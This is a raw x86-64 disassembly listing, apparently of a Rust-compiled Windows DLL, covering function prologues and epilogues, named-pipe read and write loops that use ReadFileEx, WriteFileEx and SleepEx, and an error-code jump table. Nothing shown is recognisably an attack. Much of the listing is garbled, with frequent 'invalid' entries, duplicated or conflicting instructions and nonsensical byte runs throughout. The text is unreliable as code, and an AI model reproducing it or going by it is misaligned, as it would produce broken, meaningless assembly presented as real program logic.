add byte [rax], al
add byte [rax], al
invalid
invalid
add byte [rax], al
mov rax, rbp
mov qword [rbp + 0x28], rax
call 0x1a84af3b4
mov rcx, qword [rbp + 0x88]
mov qword [rbp + 0x78], rcx
mov qword [rbp + 0x70], rdi
mov qword [rbp - 0x28], rbx
mov byte [rbp + 0xa7], 1
mov byte [rbp + 0xa6], 0
test dword [rsi], esp
add esi, eax
test dword [rsi], esp
lea r8, [rbp + 0x20]
mov rdx, qword [rbp - 0x18]
push rbp
call 0x17f42d181
cmp eax, 0x8548ffff
invalid
push rbp
call 0x17f42d181
cmp eax, 0x8548ffff
cmp eax, 0x8548ffff
test eax, eax
sal byte [rax + riz + 0x48], 0x8b
push 0x8508948
mov qword [rax + 8], rdx
je case.0x180046113.1001
mov rax, qword [rbp + 0x68]
mov qword [rax + 8], rdx
mov qword [rax], 1
mov rsi, rbx
mov esi, ebx
add byte [rax], al
add byte [rax - 0x77], cl
mov esi, ebx
invalid
invalid
mov esi, ebx
test rdi, rdi
jne 0x1800569c8
invalid
invalid
invalid
dec dword [rdi]
test dword [rsi], ecx
invalid
jmp case.0x18001e906.1118
sbb bh, bh
invalid
mov rax, qword [rbp + 0x68]
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdx
mov qword [rax], 0
test rdi, rdi
test edi, edi
add byte [rax], al
add byte [rax - 0x7b], cl
test edi, edi
je 0x1800569e8
invalid
test edi, edi
je 0x1800569e8
or eax, 0xbaffffff
mov edx, 1
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax - 0x75], cl
mov rcx, qword [rbp + 0x88]
lea ecx, [rax - 0x18000000]
hlt
mov byte [rax], al
add byte [rax], al
call fcn.18001b8e0
jmp 0x1800569e8
invalid
invalid
cld
cld
invalid
invalid
push qword [rcx]
xor ecx, ecx
leave
jmp 0x180056afd
mov rcx, qword [rbp + 8]
or byte [r8 - 0x75], r9b
mov rdx, qword [rbp + 0x10]
push rbp
adc al, ch
call fcn.180069600
invalid
sub al, byte [rcx]
add bl, ch
invalid
add dword [rax], eax
jmp case.0x180046113.1021
cmp dword [rax + 2], edi
mov eax, 2
add al, byte [rax]
add byte [rax], al
mov qword [rbp - 8], rax
clc
clc
mov rax, qword [rbp + 0x88]
mov eax, dword [rbp + 0x88]
test dword [rax + 0x48000000], ecx
mov byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x77], cl
js 0x180056b61
js 0x180056b61
mov qword [rbp + 0x78], rax
mov dword [rbp + 0x78], eax
js 0x180056b61
mov rax, qword [rbp + 0x80]
mov eax, dword [rbp + 0x80]
test dword [rax + 0x48000000], eax
mov dword [rbp + 0x70], eax
invalid
invalid
add byte [rax], 0
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rbp + 0x70], rax
jo 0x180056aea
mov byte [rbp + 0xa7], 1
test dword [rdi + 0x1000000], esp
cmpsd dword [rsi], dword [rdi]
add byte [rax], al
invalid
add byte [rax], al
add esi, eax
invalid
add byte [rcx], al
mov byte [rbp + 0xa6], 1
test dword [rsi + 0x1000000], esp
cmpsb byte [rsi], byte [rdi]
add byte [rax], al
add byte [rcx], al
mov rcx, qword [rbp - 8]
mov ecx, dword [rbp - 8]
clc
mov rdx, rbx
mov edx, ebx
call fcn.180069600
ret
sub al, byte [rcx]
add byte [rdi], cl
ud2
nop
invalid
invalid
push rsp
invalid
ud2
nop
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
adc byte [rbp + 0x41], dl
push rdi
push rbp
push r15
push r14
push r13
push rbp
push rbp
push r12
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x58
sub esp, 0x58
sub esp, 0x58
pop rax
lea rbp, [rdx + 0x80]
lea ebp, [rdx + 0x80]
add byte [rax], al
add byte [rdi], cl
movaps xmmword [rsp + 0x40], xmm6
sub dword [rsp + 0x40], esi
cmp qword [rbp + 0x90], 0
cmp qword [rbp + 0x90], 0
cmp dword [rbp + 0x90], 0
mov ebp, 0x90
add byte [rcx + rdx - 0x46], dh
je 0x180056b7c
invalid
add al, byte [rax]
nop
add byte [rax], al
add byte [rax], al
je 0x180056b7c
adc dword [rdx + 2], edi
mov edx, 2
add byte [rax], al
mov rcx, qword [rbp + 0x98]
mov ecx, dword [rbp + 0x98]
lea ebx, [rax - 0x18000000]
add byte [rax], al
call fcn.18001b8e0
cld
cld
dec dword [rax - 0x75]
mov rax, qword [rbp + 0x88]
test dword [rax + 0x48000000], ecx
mov dword [rbp + 0x78], eax
invalid
invalid
mov byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rbp + 0x78], rax
js 0x180056bd0
js 0x180056bd0
mov rax, qword [rbp + 0x80]
mov eax, dword [rbp + 0x80]
add byte [rax - 0x77], cl
jo case.0x180046113.1012
mov qword [rbp + 0x70], rax
mov byte [rbp + 0xa7], 1
cmpsd dword [rsi], dword [rdi]
add byte [rax], al
add byte [rcx], al
test dword [rdi + 0x1000000], esp
cmpsd dword [rsi], dword [rdi]
add byte [rax], al
add byte [rcx], al
mov byte [rbp + 0xa6], 1
cmpsb byte [rsi], byte [rdi]
add byte [rax], al
add byte [rcx], al
movaps xmm6, xmmword [rsp + 0x40]
add rsp, 0x58
je 0x180056bc8
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
nop dword cs:[rax + rax]
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x58
lea rbp, [rdx + 0x80]
movaps xmmword [rsp + 0x40], xmm6
cmp qword [rbp + 0x90], 0
je 0x180056bfc
mov edx, 2
mov rcx, qword [rbp + 0x98]
call fcn.18001b8e0
mov rax, qword [rbp + 0x88]
mov qword [rbp + 0x78], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x70], rax
mov byte [rbp + 0xa7], 1
mov byte [rbp + 0xa6], 1
movaps xmm6, xmmword [rsp + 0x40]
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
sub esp, 0x28
lea rbp, [rdx + 0x70]
movzx edi, byte [rbp - 0xb]
jge 0x1800575aa
movzx esi, byte [rbp - 0xa]
movzx ebx, byte [rbp - 9]
test sil, sil
je 0x1800575d8
mov rax, qword [rbp - 0x28]
lock dec qword [rax]
dec qword [rax]
jne 0x1800575d8
mov rax, qword [rbp - 0x18]
mov rcx, qword [rax]
call fcn.180044bf0
invalid
invalid
invalid
call 0x1680e011c
sbb dh, dl
invalid
invalid
invalid
inc dword [rax - 0xa]
mov dword [rcx], 0x8b482074
call 0x19046012e
mov eax, dword [rax + 0x10]
test dil, 1
je 0x1800575fe
mov rax, qword [rbp - 0x18]
mov rax, qword [rax + 0x10]
mov eax, dword [rax + 0x10]
mov eax, dword [rax + 0x10]
test rax, rax
je 0x1800575fe
lock dec qword [rax]
jne 0x1800575fe
mov rax, qword [rbp - 0x18]
mov rcx, qword [rax + 0x10]
call 0x1904e0141
call fcn.18004ccf0
test sil, sil
test dh, dh
je 0x18005761d
mov rax, qword [rbp - 0x18]
mov rcx, qword [rax + 0x18]
mov rsi, qword [rax + 0x20]
mov rdi, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rdi
xlatb
mov rcx, rsi
call rdi
test bl, bl
je 0x18005763c
mov rax, qword [rbp - 0x18]
mov rax, qword [rax + 8]
invalid
invalid
call 0x188460171
or al, sil
dec qword [rax]
dec dword [rax]
lock dec qword [rax]
dec dword [rax]
jne 0x18005763c
mov rax, qword [rbp - 0x18]
mov rcx, qword [rax + 8]
call fcn.180057000
call qword [rax + 0x28c48348]
nop
add rsp, 0x28
invalid
invalid
invalid
pop rbx
pop rdi
pop rsi
pop rbp
ret
int3
int3
int3
sub rsp, 0x50
lea rbp, [rsp + 0x50]
insb byte [rdi], dx
and al, 0x50
push rax
push rax
mov rax, rcx
lea r8, [rdx - 1]
lea rcx, [rbp - 0x18]
call 0x168c7ffb3
mov rdx, rax
call fcn.180025d80
adc edi, esp
cld
invalid
adc edi, esp
cld
dec dword [rax - 0x7d]
invalid
invalid
jge case.0x1800477d8.265
cmp qword [rbp - 0x18], 0
add byte [rbp + 0x5b], dh
jne 0x1800576d1
mov rdx, qword [rbp - 0x10]
mov edx, dword [rbp - 0x10]
mov r8, qword [rbp - 8]
mov eax, dword [rbp - 8]
lea rcx, [rbp - 0x30]
lea ecx, [rbp - 0x30]
call fcn.1800490e0
pop rcx
sbb bh, bh
dec dword [rax - 0x75]
invalid
invalid
mov rdi, qword [rbp - 0x30]
jge case.0x1800477d8.265
movabs rax, 0x8000000000000000
cmp rdi, rax
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
or byte [rax + 0x39], 0xc7
invalid
add byte [rax + 0x75c73948], al
or ecx, dword [rax - 0x73]
lea ecx, [rbp - 0x28]
call fcn.180043db0
jmp 0x1800576d1
mov rsi, qword [rbp - 0x28]
invalid
jne case.0x1800477d8.269
lea rcx, [rbp - 0x28]
lea ecx, [rbp - 0x28]
call fcn.180043db0
jmp 0x1800576d1
mov rsi, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
stc
add qword [rax], rax
mov r8, qword [0x18008b110]
mov rcx, rax
mov ecx, eax
cmp al, byte [rbx]
add byte [rax - 0x77], cl
mov ecx, eax
mov rdx, rsi
mov ecx, eax
mov rdx, rsi
mov edx, esi
bnd call r8
call r8
test rdi, rdi
je 0x1800576d1
invalid
push qword [rbp + rcx - 0x46]
add al, byte [rax]
or eax, 0x2ba
mov edx, 2
add byte [rax], al
add byte [rax - 0x77], cl
mov rcx, rsi
int1
call fcn.18001b8e0
cld
call qword [rax + 0x50c48348]
add esp, 0x50
nop
add rsp, 0x50
add esp, 0x50
add esp, 0x50
pop rdi
pop rsi
pop rbp
ret
int3
int3
int3
push r14
push rsi
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x10b8
add byte [rax], al
add byte [rax], al
call fcn.1800681b0
sub rsp, rax
sub esp, eax
mov edx, 0x4800010a
or al, byte [rcx]
add byte [rax + 0x29], cl
sub esp, eax
sub esp, eax
lea rbp, [rsp + 0x80]
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi], cl
sub dword [rbp + 0x1020], esi
mov ch, 0x20
adc byte [rax], al
add byte [rax], al
movaps xmmword [rbp + 0x1020], xmm6
mov ch, 0x20
adc byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], ebx
sbb byte [rax], dl
invalid
mov qword [rbp + 0x1018], 0xfffffffffffffffe
sbb byte [rax], dl
add byte [rax], al
add dh, bh
invalid
invalid
mov qword [rbp + 0xfe8], rdx
mov dword [rbp + 0xfe8], edx
xchg ebp, eax
call 0x1c805772a
sldt word [rax]
invalid
sldt word [rax]
mov rbx, rcx
mov ebx, ecx
retf
lea r13, [rbp - 0x50]
mov r8d, 0x1000
mov eax, 0x1000
insd dword [rdi], dx
mov al, 0x41
mov eax, 0x1000
add byte [rax], dl
add byte [rax], al
mov rcx, r13
jmp 0x1afee495f
xor edx, edx
call sub.VCRUNTIME140.dll_memset
add dword [rax], eax
shr al, cl
invalid
add dword [rax], eax
add byte [rdi], cl
push rdi
xorps xmm6, xmm6
lea rsi, [rbp + 0x100c]
or al, 0x10
add byte [rax], al
invalid
test byte [rax - 0x73], 0xb5
or al, 0x10
add byte [rax], al
invalid
add byte [rax - 0x73], cl
cmp eax, 0xffff62de
fisub word [rdx - 1]
invalid
lea rdi, [0x18004da20]
fisub word [rdx - 1]
dec dword [rbp + rcx*4 - 0x5b]
lea r12, [rbp + 0xfc0]
mov rax, qword [sym.imp.KERNEL32.dll_ReadFileEx]
invalid
add qword [rax], rax
ror byte [rdi], 0
add byte [rax - 0x75], cl
add eax, 0x14a60
invalid
add qword [rax], rax
invalid
mov r14, qword [sym.imp.KERNEL32.dll_SleepEx]
mov r15, qword [sym.imp.KERNEL32.dll_WriteFileEx]
invalid
add qword [rax], rax
add byte [rax - 0x77], cl
popfq
invalid
sldt word [rax]
invalid
invalid
add byte [rbx + rcx*4 + 0x3d], cl
invalid
add byte [rax - 0x77], cl
popfq
invalid
add bh, al
test dword [rax + rdx], ecx
adc byte [rax], al
invalid
mov dword [rbp + 0x100c], 0
adc byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
movaps xmmword [rbp + 0xfc0], xmm6
add byte [rax], al
add byte [rax], al
movaps xmmword [rbp + 0xfc0], xmm6
ror byte [rdi], 0
add byte [rax - 0x39], cl
test eax, edx
ror byte [rdi], 1
add byte [rax], al
mov qword [rbp + 0xfd0], 0
ror byte [rdi], 1
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x77], cl
mov qword [rbp + 0xfd8], rsi
mov ch, 0xd8
sldt word [rax]
invalid
fmul dword [rdi]
add byte [rax], al
invalid
add byte [rax - 0x77], cl
jl 0x1800577b0
invalid
mov qword [rsp + 0x20], rdi
and al, 0x20
and byte [rax - 0x77], cl
invalid
mov rcx, rbx
mov ecx, ebx
mov rdx, r13
mov edx, ebp
invalid
mov r8d, 0x1000
add byte [rax], dl
add byte [rax], al
mov r9, r12
call rax
test eax, eax
ror byte [rdi], 0x84
invalid
add dword [rax], eax
invalid
ror byte [rdi], 0x84
movabs eax, dword [0x841f0f2e66000001]
add dword [rax], eax
add byte [rsi + 0x2e], ah
invalid
invalid
invalid
test byte [rax], al
add byte [rax], al
invalid
add dword [rax], eax
add byte [rsi + 0x2e], ah
nop dword cs:[rax + rax]
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rcx - 1], bh
mov ecx, 0xffffffff
mov edx, 1
add byte [rax], al
call r14
call rsi
cmp dword [rbp + 0x100c], 0
je 0x1800577b0
or al, 0x10
add byte [rax], al
add byte [rdx + rbp*8 - 0x75], dh
test dword [rax], edx
adc byte [rax], al
add byte [rbx + 0x10149d], cl
popfq
adc al, 0x10
adc byte [rax], al
mov eax, dword [rbp + 0x1010]
mov ebx, dword [rbp + 0x1014]
popfq
adc al, 0x10
adc byte [rax], al
invalid
popfq
adc al, 0x10
adc byte [rax], al
invalid
adc byte [rax], al
add byte [rax - 0x77], cl
ror dword [rax - 0x3f], 0xe1
loope case.0x180057991.106
invalid
invalid
mov rcx, rax
mov ecx, eax
shl rcx, 0x20
loope case.0x180057991.106
or rcx, 2
leave
add dh, byte [rcx]
rol byte [rbp - 0x3d6af040], cl
test eax, eax
setne dl
invalid
xor edx, edx
test eax, eax
setne dl
invalid
ret 0xf48
cmovne rbx, rcx
mov qword [rbp + 0xff8], rdx
clc
sldt word [rax]
invalid
clc
sldt word [rax]
mov qword [rbp + 0x1000], rbx
jne 0x18005797e
invalid
invalid
add dword [rax], eax
invalid
adc byte [rax], al
add byte [rdi], cl
test dword [rdx + 0x48000001], eax
test ebx, ebx
add dword [rax], eax
add byte [rax - 0x7b], cl
fisttp dword [rdi]
je case.0x1800642bc.99
invalid
invalid
test rbx, rbx
je case.0x1800642bc.99
add byte [rax], al
cmp rbx, 0x1000
sti
add byte [rax], dl
add byte [rax], al
invalid
add byte [rdi], cl
xchg edx, esi
ja 0x180057b04
add al, byte [rax]
add byte [rbp + 0x31], al
xor ebp, ebp
xor r13d, r13d
xor ebp, ebp
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x77], al
mov r8d, ebx
fadd dword [rbp + 0x29]
call 0x1ad1a0574
invalid
adc al, 0x2d
invalid
mov al, 0xff
invalid
invalid
sub r8d, r13d
lea rdx, [r13 - 0x50]
lea edx, [rbp - 0x50]
lea edx, [rbp - 0x50]
sub eax, 0xffffffb0
invalid
dec dword [rax + 1]
add rdx, rbp
add edx, ebp
invalid
mov dword [rbp + 0x100c], 0
or al, 0x10
add byte [rax], al
add byte [rax], al
add byte [rax], al
movaps xmmword [rbp + 0xfc0], xmm6
ror byte [rdi], 0
add byte [rax - 0x39], cl
invalid
test eax, edx
ror byte [rdi], 1
add byte [rax], al
sldt word [rax]
mov qword [rbp + 0xfd0], 0
mov dword [rbp + 0xfd0], 0
ror byte [rdi], 1
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rbp + 0xfd8], rsi
mov ch, 0xd8
sldt word [rax]
invalid
add byte [rax - 0x77], cl
jl case.0x18004b336.139
invalid
mov qword [rsp + 0x20], rdi
and al, 0x20
and byte [rax - 0x75], cl
mov rcx, qword [rbp + 0xfe8]
mov ecx, dword [rbp + 0xfe8]
invalid
sldt word [rax]
add byte [rbp - 0x77], cl
loope 0x1800578a5
invalid
mov r9, r12
mov ecx, esp
call r15
call rdi
test eax, eax
sal byte [rbp + rdi*2 + 0x66], 0xf
invalid
je case.0x18004bf91.93
nop word [rax + rax]
nop dword [rax + rax]
add byte [rax], al
add byte [rcx - 1], bh
mov ecx, 0xffffffff
invalid
mov edx, 1
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rcx - 1], al
invalid
call r14
call rsi
invalid
cmp dword [rbp + 0x100c], 0
or al, 0x10
add byte [rax], al
add byte [rdx + rbp*8 - 0x75], dh
je 0x180057870
mov ecx, dword [rbp + 0x1010]
lea edx, [rax]
adc byte [rax], al
invalid
add byte [rax], al
add byte [rbx + 0x101485], cl
mov eax, dword [rbp + 0x1014]
adc byte [rax], al
add byte [rax - 0x77], cl
retf 0xc148
mov rdx, rcx
mov edx, ecx
shl rdx, 0x20
loop 0x1800578b9
and byte [rax - 0x7d], cl
or rdx, 2
xor r8d, r8d
invalid
retf 0x4502
rol byte [rbp - 0x6af0be37], 0xc0
test ecx, ecx
setne r8b
setne al
setne al
ror byte [rax + 0xf], 0x44
ror byte [rcx + rcx*4 - 0x7b], 1
invalid
invalid
cmove rdx, rax
cmove edx, eax
mov qword [rbp + 0xff8], r8
mov dword [rbp + 0xff8], eax
clc
sldt word [rax]
add byte [rax], al
mov qword [rbp + 0x1000], rdx
xchg ebp, eax
add byte [rax], dl
add byte [rax], al
invalid
adc byte [rax], al
add byte [rbp + 0x4d], dh
jne case.0x18004bf91.102
add r13, rax
add r13, rax
add ebp, eax
invalid
cmp r13, rbx
je case.0x18004bb8b.118
fnsave dword [rsi + rcx + 0xf]
jbe 0x180057820
xchg byte [rax - 1], bl
invalid
invalid
jmp 0x180057af0
and eax, dword [rdx]
add al, byte [rax]
add byte [rdi], cl
invalid
add byte [rax], al
nop dword [rax]
invalid
add byte [rax - 0x75], cl
popfq
mov rbx, qword [rbp + 0xff0]
mov ebx, dword [rbp + 0xff0]
invalid
lea r13, [rbp - 0x50]
mov al, 0x48
mov eax, dword [sym.imp.KERNEL32.dll_ReadFileEx]
add eax, 0x148ce
mov rax, qword [sym.imp.KERNEL32.dll_ReadFileEx]
add eax, 0x148ce
invalid
add qword [rax], rax
add cl, ch
jmp 0x180057765
jle case.0x18004bf91.111
invalid
call qword [sym.imp.KERNEL32.dll_GetLastError]
adc eax, 0x1479b
add dword [rax], eax
add byte [rax - 0x3f], cl
shl rax, 0x20
loopne case.0x18004bab9.114
or rax, 2
mov qword [rbp + 0xff8], 1
mov dword [rbp + 0xff8], 1
enter 0x4802, 0xffffffffffffffc7
mov dword [rbp + 0xff8], 1
test eax, edi
sldt word [rax]
add byte [rax], al
add byte [rax], al
add byte [rcx], al
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
test dword [rax], eax
invalid
mov qword [rbp + 0x1000], rax
mov dword [rbp + 0x1000], eax
add byte [rax], dl
add byte [rax], al
adc byte [rax], al
add byte [rax - 0x73], cl
invalid
invalid
lea eax, [rax]
invalid
lea rcx, [rbp + 0x1000]
lea ecx, [rbp + 0x1000]
add byte [rax], dl
add byte [rax], al
adc byte [rax], al
add al, ch
call fcn.180043db0
popfq
invalid
invalid
dec dword [rax - 0x75]
xor eax, 0x14716
invalid
add dword [r8], r8d
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
invalid
add dword [r8], r8d
add dword [rax], eax
add byte [rax - 0x75], cl
invalid
mov rcx, qword [rbp + 0xff0]
mov ecx, dword [rbp + 0xff0]
invalid
add byte [rax], al
add bh, bh
call rsi
invalid
mov rcx, qword [rbp + 0xfe8]
mov ecx, dword [rbp + 0xfe8]
call 0x17f05793a
sldt word [rax]
add bh, bh
call rsi
movaps xmm6, xmmword [rbp + 0x1020]
sub byte [rbp + 0x1020], dh
invalid
sub byte [rbp + 0x1020], dh
mov ch, 0x20
and byte [rax], dl
add byte [rax], al
invalid
adc byte [rax], al
add byte [rax - 0x7f], cl
add rsp, 0x10b8
add esp, 0x10b8
invalid
adc byte [rax], al
add byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop rbp
pop r14
pop rsi
pop r15
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, dword [rdi + 1]
add dword [r8], r8d
add dword [rax], eax
add byte [rcx - 0x1c3eb73d], cl
and byte [rax - 0x7d], cl
invalid
invalid
mov ebx, eax
ret
shl rbx, 0x20
shl ebx, 0x20
jrcxz case.0x18004d727.75
or rbx, 2
retf
mov qword [rbp + 0xff8], 1
mov dword [rbp + 0xff8], 1
clc
sldt word [rax]
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
popfq
mov qword [rbp + 0x1000], rbx
mov dword [rbp + 0x1000], ebx
add byte [rax], dl
adc byte [rax], al
add byte [rax], al
add byte [rcx + 0x3e083d8], cl
mov eax, ebx
and eax, 3
loopne 0x180057971
add ecx, dword [rax - 0x73]
or eax, 0x2bbfb
add al, byte [rax]
lea rcx, [0x180083570]
lea ecx, [0x180083570]
sti
mov ebx, 0x63480002
add al, byte [rax]
invalid
invalid
add al, byte [rax]
add byte [rax + 0x63], cl
movsxd rax, dword [rcx + rax*4]
invalid
add al, 0x81
add rax, rcx
add eax, ecx
enter 0xffffffffffffe0ff, 0xffffffffffffff89
jmp rax
loopne case.0x18004bb8b.109
mov eax, ebx
and eax, 3
loopne 0x180057986
fadd dword [rbx - 0x72b7fc20]
loopne 0x180057986
add ecx, dword [rax - 0x73]
lea rcx, [0x180083570]
lea ecx, [0x180083570]
or eax, 0x2bbe6
out 0xbb, al
add al, byte [rax]
add byte [rax + 0x63], cl
add al, 0x81
movsxd rax, dword [rcx + rax*4]
invalid
add rax, rcx
add eax, ecx
jmp rax
loopne 0x1800579a3
movzx eax, byte [rbx + 0x10]
jmp 0x1800579cf
invalid
mov dh, 0x43
adc bl, ch
mov rcx, rbx
mov rcx, rbx
shr rcx, 0x20
shr ecx, 0x20
and al, ch
cmp esp, edi
call fcn.1800460e0
jmp 0x1800579cf
invalid
invalid
sub byte [rax - 0x77], cl
fmul dword [rax - 0x3f]
call 0x1a8fdfcd1
invalid
cmp eax, 0x28
mov rax, rbx
shr rax, 0x20
invalid
and byte [rbx - 0x78f0d708], al
cmp eax, 0x28
ja case.default.0x1800579c5
mov ah, 0
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [0x180083580]
add byte [rax], al
lea rcx, [0x180083580]
mov ebx, 0x63480002
add al, 0x81
add al, byte [rax]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
add eax, ecx
jmp rax
xor eax, eax
jmp 0x1800579cf
add al, 0xf
mov dh, 0x43
invalid
movzx eax, byte [rbx + 0xf]
cmp al, 0xb
or esi, dword [rbp + 0x11]
jne 0x1800579e4
lea rcx, [rbp + 0x1000]
adc byte [rax], al
add al, ch
rol ebx, 1
invalid
add byte [rax], al
call fcn.180043db0
invalid
jmp case.0x1800642bc.99
dec dword [rax - 0x39]
mov qword [rbp + 0xfb0], 1
mov dword [rbp + 0xfb0], 1
test dword [rax + 0x100000f], esi
mov al, 0xf
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rbp + 0xfb8], rbx
invalid
add byte [rax], al
mov qword [rbp + 0xfb8], rbx
sldt word [rax]
lea rcx, [rbp + 0xfb8]
lea ecx, [rbp + 0xfb8]
sldt word [rax]
add byte [rax], al
call fcn.180043db0
jmp case.0x1800642bc.99
or al, 0xff
invalid
invalid
ret
invalid
or al, 0xff
invalid
mov al, 0x25
jmp 0x1800579cf
and eax, 0x23b0c4eb
mov al, 0x23
jmp 0x1800579cf
mov al, 0x24
jmp 0x1800579cf
mov al, 0x1b
jmp 0x1800579cf
invalid
mov eax, 0xb4eb22b0
mov al, 0x22
jmp 0x1800579cf
mov al, 0x10
jmp 0x1800579cf
mov al, 0xe
jmp 0x1800579cf
mov al, 0x21
jmp 0x1800579cf
mov al, 0xb
jmp 0x1800579cf
mov al, 4
jmp 0x1800579cf
invalid
movabs al, byte [0x98eb0cb09ceb28b0]
mov al, 0x28
jmp 0x1800579cf
mov al, 0xc
jmp 0x1800579cf
mov al, 9
jmp 0x1800579cf
mov al, 0x19
jmp 0x1800579cf
sbb ebx, ebp
nop
mov al, 0x18
jmp 0x1800579cf
mov al, 2
jmp 0x1800579cf
invalid
mov byte [rax - 0x4f7b14f1], dh
add ebp, ebx
jmp 0x1800579cf
mov al, 7
jmp 0x1800579cf
mov al, 1
invalid
jb 0x180057a5a
invalid
mov al, 0xf
jmp 0x1800579cf
invalid
test byte [rax - 0x4f7f14fd], dh
invalid
mov al, 3
jmp 0x1800579cf
mov al, 7
jmp 0x1800579cf
invalid
mov al, 1
jmp 0x1800579cf
mov al, 0x1f
jmp 0x1800579cf
invalid
mov al, 0x11
jmp 0x1800579cf
invalid
mov al, 0x29
jmp 0x1800579cf
invalid
mov al, 5
jmp 0x1800579cf
invalid
mov al, 0x14
jmp 0x1800579cf
invalid
mov al, 0x15
jmp 0x1800579cf
invalid
mov al, 0xd
jmp 0x1800579cf
invalid
mov al, 6
jmp 0x1800579cf
invalid
mov al, 0x12
jmp 0x1800579cf
invalid
mov al, 8
jmp 0x1800579cf
invalid
mov al, 0xa
jmp 0x1800579cf
invalid
mov al, 0x1e
jmp 0x1800579cf
invalid
mov al, 0x20
jmp 0x1800579cf
invalid
mov al, 0x16
jmp 0x1800579cf
invalid
mov al, 0x27
jmp 0x1800579cf
invalid
mov al, 0x13
jmp 0x1800579cf
invalid
invalid
invalid
mov al, 0x17
jmp 0x1800579cf
invalid
invalid
invalid
mov al, 0x1c
jmp 0x1800579cf
invalid
invalid
invalid
mov al, 0x1d
jmp 0x1800579cf
mov al, 0x26
jmp 0x1800579cf
mov al, 0x1a
jmp 0x1800579cf
lea r8, str.library_std_src_syspalwindowspipe.rs
mov rcx, r13
mov rdx, rbx
call fcn.180069a50
jmp 0x180057b18
lea r8, str.library_std_src_syspalwindowspipe.rs
mov edx, 0x1000
mov rcx, rbx
call fcn.180069810
ud2
or byte [rsi], dl
add byte [rax], al
add eax, dword [rax]
add byte [rax], al
mov rax, qword [rbp + 0x1748]
invalid
invalid
add byte [rax], al
mov qword [rbp + 0x1728], rax
lea rdx, str._rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7librarycore_srccharmethods.rs
lea rcx, [rbp + 0x15f0]
call fcn.180069750
add cl, ch
movsb byte [rdi], byte [rsi]
add dword [rax], eax
invalid
invalid
add cl, ch
movsb byte [rdi], byte [rsi]
add dword [rax], eax
add byte [rax - 0x73], cl
or eax, 0x2694e
lea r8, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov edx, 0x28
call fcn.180069820
jmp 0x18005b04f
add cl, ch
invalid
invalid
add byte [rax], al
mov qword [rbp + 0x1728], rax
lea rcx, str.library_std_src...._backtrace_srcdbghelp.rs
call fcn.180069bb0
jmp 0x18005b04f
invalid
or eax, 0x22bc5
lea r8, str.library_std_src...._backtrace_srcdbghelp.rs
mov edx, 0x1a
call fcn.180069820
jmp 0x18005b04f
call fcn.180069bb0
jmp 0x18005b04f
mov eax, dword [rbp + 0x1748]
mov qword [rbp + 0x1720], rax
mov byte [rbp + 0x1757], 1
invalid
add byte [rax], al
add dword [rax - 0x73], ecx
or eax, 0x22b3d
call fcn.180069bb0
jmp 0x18005afd7
add bl, ch
invalid
add byte [rax - 0x77], cl
test dword [rax], esp
invalid
invalid
jmp 0x18005afd7
add bl, ch
jne 0x18005b027
mov dword [rbp + 0x1718], esi
lea rcx, str.library_std_src...._backtrace_srcdbghelp.rs
sub eax, dword [rdx]
add al, ch
ret
jmp 0x18005afec
add bl, ch
invalid
sub eax, dword [rdx]
add al, ch
ret
test dword [rax], ebp
invalid
lea rcx, str.library_std_src...._backtrace_srcdbghelp.rs
call fcn.180069bb0
add bl, ch
invalid
add bl, ch
sbb cl, byte [rax - 0x75]
test dword [rax + 0x17], ecx
add byte [rax], al
mov qword [rbp + 0x1728], rax
lea rcx, str.library_std_src...._backtrace_srcdbghelp.rs
call fcn.180069bb0
ud2
mov ecx, dword [rbp - 0x38]
mov edx, 2
call fcn.18001b8e0
cld
dec dword [rax - 0x75]
test dword [rax + 0x17], ecx
invalid
invalid
add byte [rax], al
cld
dec dword [rax - 0x75]
test dword [rax + 0x17], ecx
invalid
invalid
add byte [rax], al
invalid
mov qword [rbp + 0x16d0], rax
mov byte [rbp + 0x1754], 0
add byte [rax], al
movaps xmm6, xmmword [rsp + 0x40]
add rsp, 0x58
add esp, 0x58
add esp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
nop word cs:[rax + rax]
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
